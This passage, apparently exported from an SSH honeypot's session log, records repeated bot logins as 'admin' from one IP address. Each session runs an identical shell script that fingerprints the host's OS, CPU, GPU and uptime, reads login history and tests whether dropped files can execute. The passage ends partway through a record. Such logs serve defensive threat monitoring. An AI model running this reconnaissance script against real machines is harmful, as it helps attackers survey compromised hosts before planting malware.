  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:19:55.753101+00:00",
  "ended_at": "2026-08-27T05:19:55.890230+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "af85e40d-25dd-4657-b5c4-5cb9d16254e3",
  "name": "lunar-hushed-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 42194,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:18:02.041401+00:00",
  "ended_at": "2026-08-27T05:18:02.201244+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0f686cdb-2153-45b8-a8a7-e8ca447dc85b",
  "name": "ashen-glassy-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 39282,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:16:07.765039+00:00",
  "ended_at": "2026-08-27T05:16:07.909888+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b0883ed5-fed1-4419-820d-3984f99a3bd0",
  "name": "electric-glassy-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 36400,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:14:13.971117+00:00",
  "ended_at": "2026-08-27T05:14:14.191245+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "989f6f62-3e76-442c-aef1-a0a11b14fb50",
  "name": "burly-sturdy-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 33490,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:12:20.738292+00:00",
  "ended_at": "2026-08-27T05:12:20.989705+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9e93daed-7cdd-410b-a43f-6e6717f955cf",
  "name": "noble-airy-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 58812,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:10:25.585116+00:00",
  "ended_at": "2026-08-27T05:10:25.719154+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "de02d280-13e7-4257-a04d-c2a66edfbc4a",
  "name": "misty-brave-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 55882,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null 